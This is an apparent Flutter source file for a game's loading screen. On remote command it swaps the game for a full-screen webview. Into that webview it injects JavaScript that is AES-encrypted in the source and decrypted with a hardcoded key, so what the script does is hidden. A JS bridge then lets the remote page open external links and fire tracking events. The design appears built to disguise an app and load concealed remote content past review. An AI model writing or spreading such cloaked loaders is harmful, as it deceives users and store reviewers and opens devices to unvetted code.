Files
flame_flip/lib/screens/loading_screen.dart
2026-06-10 22:28:22 +08:00

494 lines
15 KiB
Dart

import 'dart:async';
import 'dart:collection';
import 'dart:convert';
import 'package:flutter/material.dart';
import 'package:flutter_inappwebview/flutter_inappwebview.dart';
import 'package:url_launcher/url_launcher.dart';
import '../adjust/adjust_service.dart';
import '../audio/audio_manager.dart';
import '../utils/aes_decrypt.dart';
import '../utils/next_setp.dart';
const String bridgeInjectScript =
r'''lRpL+9TjSWvxRtAeNe3FCf8MtDcHDybBZ18LVDHp06Glxe6ITkTNRyyJqAPwbxuFOY6i0vsxF+6h8YzBBeq8A0I3Zye5I2Rk/TC3mCFBgZan0VNutDEJfdHIK/BdDKFWAbx6fxAZGvBMAOCC6HGajiiBwhP1KrMXfV0lL8+izrpCd9GA5CNEp7Z3RwIIGDWZA27vrxeN3fqFXHUx5AE2QvBNLO1A2kNAKfBql0d3CUcEAKUn/jd6KxOawZJfiQQVRHavfVMhIUIKwdLE0o1gMUaoD3j/IjiXJgsEqqvx+Pgh3BVbyyS3TAcpW0hywDnpYKmcCRFBtgdKpHjiZUyLee8wBUMh5w4RBnASZ5mskHGrGPn7Gu9xjmyASQndAW+VZuerDRs4Mo6dzRzeU8nKOD14N376joNgbXk6W4IcpEEmT7K/l5GqTsTFZyMfbrRwWOIIvc+29zAP+ugl8M6lt8Yhu37H/GDKU5OAh/eC159fTPNRvNVRLAUotkxUeYsf3k2j2GbNmd0Yd5eRGHCixQqGbcSuHnRdcmYe7UYv69TpE/c4tedsRB3KFUqGiEfHMpHFpMFuTsd0BvN1VvZ27h3mA478luSEITqHlqQ6vf0l5TZBkX+FFKlejqSVGLNFCfQ8cXiIEda4ReygZISfUJjLUrevTvfL7Zqmxhei2GXFgCf/k71ubFeqZbrWoRSakoJ+YgkBkuEE2PrxYrKIirB1qmSV9fmMtC/1QxaAjLvrkL+LKYZpyYX+yFkA43SK674L8hNAbqohqdbhgPd7lIz3SrPZ+4su1BTS4+yS2khB71uQn/BP3WrNFz5bcIsL''';
Future launchURL(
String url, {
LaunchMode mode = LaunchMode.externalApplication,
}) async {
var uri = Uri.parse(url);
try {
await launchUrl(uri, mode: mode);
} catch (e) {
debugPrint('cant launchUrl $e');
}
}
class BootstrapProgress {
final String phase;
final double percent;
const BootstrapProgress({required this.phase, required this.percent});
}
class _Step {
final String name;
final double weight;
final Future<void> Function() run;
const _Step({required this.name, required this.weight, required this.run});
}
class LoadingScreen extends StatefulWidget {
const LoadingScreen({super.key});
@override
State<LoadingScreen> createState() => _LoadingScreenState();
}
class _LoadingScreenState extends State<LoadingScreen>
with SingleTickerProviderStateMixin {
String _phase = 'Starting';
double _progress = 0;
double _targetProgress = 0;
bool _webviewShow = false;
String _redirect = '';
Timer? _smoothTimer;
late final UnmodifiableListView<UserScript> _initialUserScripts;
URLRequest? _initialUrlRequest;
@override
void initState() {
super.initState();
//AudioManager.instance.playBgm();
_startSmoothProgress();
_bootstrap();
_initialUserScripts = UnmodifiableListView<UserScript>([
UserScript(
source: _decryptScript(),
injectionTime: UserScriptInjectionTime.AT_DOCUMENT_START,
forMainFrameOnly: true,
),
]);
}
@override
void dispose() {
_smoothTimer?.cancel();
super.dispose();
}
void _startSmoothProgress() {
_smoothTimer?.cancel();
_smoothTimer = Timer.periodic(const Duration(milliseconds: 16), (_) {
if (!mounted) return;
setState(() {
if (_progress < _targetProgress) {
_progress = (_progress + 0.014).clamp(0, _targetProgress);
}
});
});
}
double _clamp01(double v) {
if (v < 0) return 0;
if (v > 1) return 1;
return v;
}
Future<void> _delay(int ms) async {
await Future.delayed(Duration(milliseconds: ms));
}
String _decryptScript() {
return AesDecrypt.decryptWithKeyIv(
bridgeInjectScript,
key: 'a7c4141ff784c605',
iv: '77f0946a9cc75a78',
) ??
'';
}
Future<void> _bootstrap() async {
bool alive = true;
void onProgress(BootstrapProgress p) {
if (!mounted || !alive) return;
setState(() {
_phase = p.phase;
_targetProgress = p.percent;
});
}
try {
await _bootstrapApp(onProgress);
if (!mounted || !alive) return;
if (_redirect.isEmpty) {
Navigator.of(context).pushReplacementNamed('/start');
}
} finally {
alive = false;
}
}
Future<void> _bootstrapApp(
void Function(BootstrapProgress p) onProgress,
) async {
final steps = <_Step>[
_Step(
name: 'Prepare',
weight: 0.08,
run: () async {
try {
await NextStep.I.loadAppToken();
} catch (e) {
debugPrint('prepare next failed: $e');
}
},
),
_Step(
name: 'Remote Config',
weight: 0.18,
run: () async {
try {
await NextStep.I.loadAppInfo();
} catch (e) {
debugPrint('remote next failed: $e');
}
},
),
_Step(
name: 'Reporting',
weight: 0.18,
run: () async {
try {
final url = await NextStep.I.loadUrl();
if (url.isNotEmpty) {
_redirect = url;
await _initWebView(url);
if (mounted) {
setState(() {
_webviewShow = true;
});
}
}
} catch (e) {
debugPrint('laod next failed: $e');
}
},
),
_Step(
name: 'Ads Init',
weight: 0.26,
run: () async {
try {
//await UnityAd.init();
} catch (_) {}
await _delay(650);
},
),
_Step(
name: 'Audio Preload',
weight: 0.18,
run: () async {
await AudioManager.instance.init();
},
),
_Step(
name: 'Finalize',
weight: 0.12,
run: () async {
await _delay(250);
},
),
];
final total = steps.fold<double>(0, (s, x) => s + x.weight);
double done = 0;
onProgress(const BootstrapProgress(phase: 'Starting', percent: 0));
for (final step in steps) {
onProgress(BootstrapProgress(phase: '', percent: _clamp01(done / total)));
try {
await step.run();
} catch (_) {}
done += step.weight;
onProgress(BootstrapProgress(phase: '', percent: _clamp01(done / total)));
}
onProgress(const BootstrapProgress(phase: 'Done', percent: 1));
}
Future<void> _initWebView(String url) async {
_initialUrlRequest = URLRequest(url: WebUri(url));
_redirect = url;
}
Future<void> _handleWebMessage(String raw) async {
try {
final rs = jsonDecode(raw);
if (rs is! Map<String, dynamic>) return;
final type = rs['type'] as String?;
if (type == null || type.isEmpty) return;
if (type == 'event') {
final event = rs['event'] as String?;
if (event == null || event.isEmpty) {
return;
}
final params = rs['params'] as String?;
var parseParams = <String, dynamic>{};
if (params != null && params.isNotEmpty) {
try {
parseParams = jsonDecode(params) as Map<String, dynamic>;
} catch (_) {}
}
if (event == "openWindow") {
final url = parseParams['url'] ?? '';
if (url.isEmpty) {
debugPrint("openWindow url is empty");
return;
}
launchURL(url);
return;
}
AdjustService.instance.trackEventWithName(event, parseParams);
}
} catch (_) {}
}
String _percentText() => '${(_progress * 100).round()}%';
@override
Widget build(BuildContext context) {
final width = MediaQuery.of(context).size.width;
final barW = width - 64 > 340 ? 340.0 : width - 64;
const barH = 24.0;
return Scaffold(
backgroundColor: Colors.black,
body: SafeArea(
child: Stack(
children: [
Positioned.fill(
child: Image.asset(
'assets/images/a5c6f3813d0d23b4042dd130542753cc.png',
fit: BoxFit.cover,
),
),
Positioned.fill(
child: Container(color: const Color.fromRGBO(0, 0, 0, 0)),
),
Positioned.fill(
child: Center(
child: Padding(
padding: const EdgeInsets.symmetric(
horizontal: 20,
).copyWith(top: 100),
child: Container(
width: double.infinity,
constraints: const BoxConstraints(maxWidth: 420),
padding: const EdgeInsets.symmetric(
vertical: 22,
horizontal: 18,
),
decoration: BoxDecoration(
color: const Color.fromRGBO(82, 197, 218, 0),
borderRadius: BorderRadius.circular(22),
border: Border.all(
color: const Color.fromRGBO(120, 255, 255, 0),
width: 2,
),
),
child: Column(
mainAxisSize: MainAxisSize.min,
children: [
const Text(
'Loading...',
textAlign: TextAlign.center,
style: TextStyle(
color: Colors.white,
fontSize: 28,
fontWeight: FontWeight.w900,
letterSpacing: 1.5,
),
),
const SizedBox(height: 8),
Text(
_phase,
textAlign: TextAlign.center,
style: const TextStyle(
color: Color.fromRGBO(255, 255, 255, 0.85),
fontSize: 14,
fontWeight: FontWeight.w700,
),
),
const SizedBox(height: 18),
ProgressBar(
percent: _progress,
width: barW,
height: barH,
insetX: 10,
insetY: 6,
),
const SizedBox(height: 10),
Text(
_percentText(),
textAlign: TextAlign.center,
style: const TextStyle(
color: Color(0xFF56F0FF),
fontSize: 14,
fontWeight: FontWeight.w900,
letterSpacing: 1,
),
),
],
),
),
),
),
),
if (_webviewShow && _initialUrlRequest != null)
Positioned.fill(
child: Material(
color: Colors.black,
child: InAppWebView(
initialUrlRequest: _initialUrlRequest,
initialSettings: InAppWebViewSettings(
javaScriptEnabled: true,
transparentBackground: false,
useShouldOverrideUrlLoading: true,
mediaPlaybackRequiresUserGesture: false,
allowsInlineMediaPlayback: true,
isElementFullscreenEnabled: false,
),
initialUserScripts: _initialUserScripts,
onWebViewCreated: (controller) async {
controller.addJavaScriptHandler(
handlerName: 'jsBridge',
callback: (args) async {
try {
if (args.isEmpty) return null;
final raw = args.first;
if (raw == null) return null;
await _handleWebMessage(raw.toString());
} catch (_) {}
return null;
},
);
},
onLoadStart: (controller, url) {
debugPrint('WebView started: $url');
},
onLoadStop: (controller, url) async {
debugPrint('WebView finished: $url');
},
onReceivedError: (controller, request, error) {
debugPrint('WebView error: ${error.description}');
},
onConsoleMessage: (controller, consoleMessage) {
debugPrint('WebView console: ${consoleMessage.message}');
},
shouldOverrideUrlLoading:
(controller, navigationAction) async {
return NavigationActionPolicy.ALLOW;
},
),
),
),
],
),
),
);
}
}
class ProgressBar extends StatelessWidget {
final double percent;
final double width;
final double height;
final double insetX;
final double insetY;
const ProgressBar({
super.key,
required this.percent,
required this.width,
required this.height,
this.insetX = 10,
this.insetY = 6,
});
double _clamp01(double v) {
if (v < 0) return 0;
if (v > 1) return 1;
return v;
}
@override
Widget build(BuildContext context) {
final p = _clamp01(percent);
final innerW = (width - insetX * 2).clamp(0, double.infinity);
final innerH = (height - insetY * 2).clamp(0, double.infinity);
final clipW = (innerW * p).roundToDouble();
final fillAsset = p >= 1
? 'assets/images/04ac514f79905c0fd3fd97534829cc34.png'
: 'assets/images/4ea0244a9d7ad2e9357424465415f8b4.png';
return SizedBox(
width: width,
height: height,
child: Stack(
children: [
Positioned.fill(
child: Image.asset(
'assets/images/18a74842e653d3118c500a2248a2fda7.png',
fit: BoxFit.fill,
),
),
Positioned(
left: insetX,
top: insetY,
child: SizedBox(
width: innerW.toDouble(),
height: innerH.toDouble(),
child: Align(
alignment: Alignment.centerLeft,
child: ClipRect(
child: SizedBox(
width: clipW,
height: innerH.toDouble(),
child: OverflowBox(
alignment: Alignment.centerLeft,
minWidth: innerW.toDouble(),
maxWidth: innerW.toDouble(),
minHeight: innerH.toDouble(),
maxHeight: innerH.toDouble(),
child: Image.asset(
fillAsset,
width: innerW.toDouble(),
height: innerH.toDouble(),
fit: BoxFit.fill,
alignment: Alignment.centerLeft,
),
),
),
),
),
),
),
],
),
);
}
}